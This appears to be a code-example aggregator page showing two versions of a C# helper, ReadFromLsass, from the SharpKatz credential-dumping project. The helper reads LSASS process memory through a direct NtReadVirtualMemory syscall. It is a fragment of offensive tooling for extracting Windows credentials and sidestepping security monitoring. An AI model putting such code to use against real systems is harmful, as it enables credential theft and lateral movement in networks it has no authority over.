예제 #1
0
파일: Utility.cs 프로젝트: zhouzu/SharpKatz
        public static byte[] ReadFromLsass(ref IntPtr hLsass, IntPtr addr, ulong bytesToRead)
        {
            int bytesRead = 0;

            byte[] bytev = new byte[Convert.ToInt32(bytesToRead)];

            NTSTATUS status = SysCall.NtReadVirtualMemory10(hLsass, addr, bytev, Convert.ToInt32(bytesToRead), bytesRead);

            return(bytev);
        }
예제 #2
0
        public static byte[] ReadFromLsass(ref IntPtr hLsass, IntPtr addr, long bytesToRead)
        {
            if (bytesToRead < 0)
            {
                throw new ArgumentException($"{bytesToRead} is not a valid number of bytes to read");
            }

            if (bytesToRead == 0)
            {
                return(new byte[0]);
            }

            int bytesRead = 0;

            byte[] bytev = new byte[bytesToRead];

            NTSTATUS status = SysCall.NtReadVirtualMemory10(hLsass, addr, bytev, (int)bytesToRead, bytesRead);

            return(bytev);
        }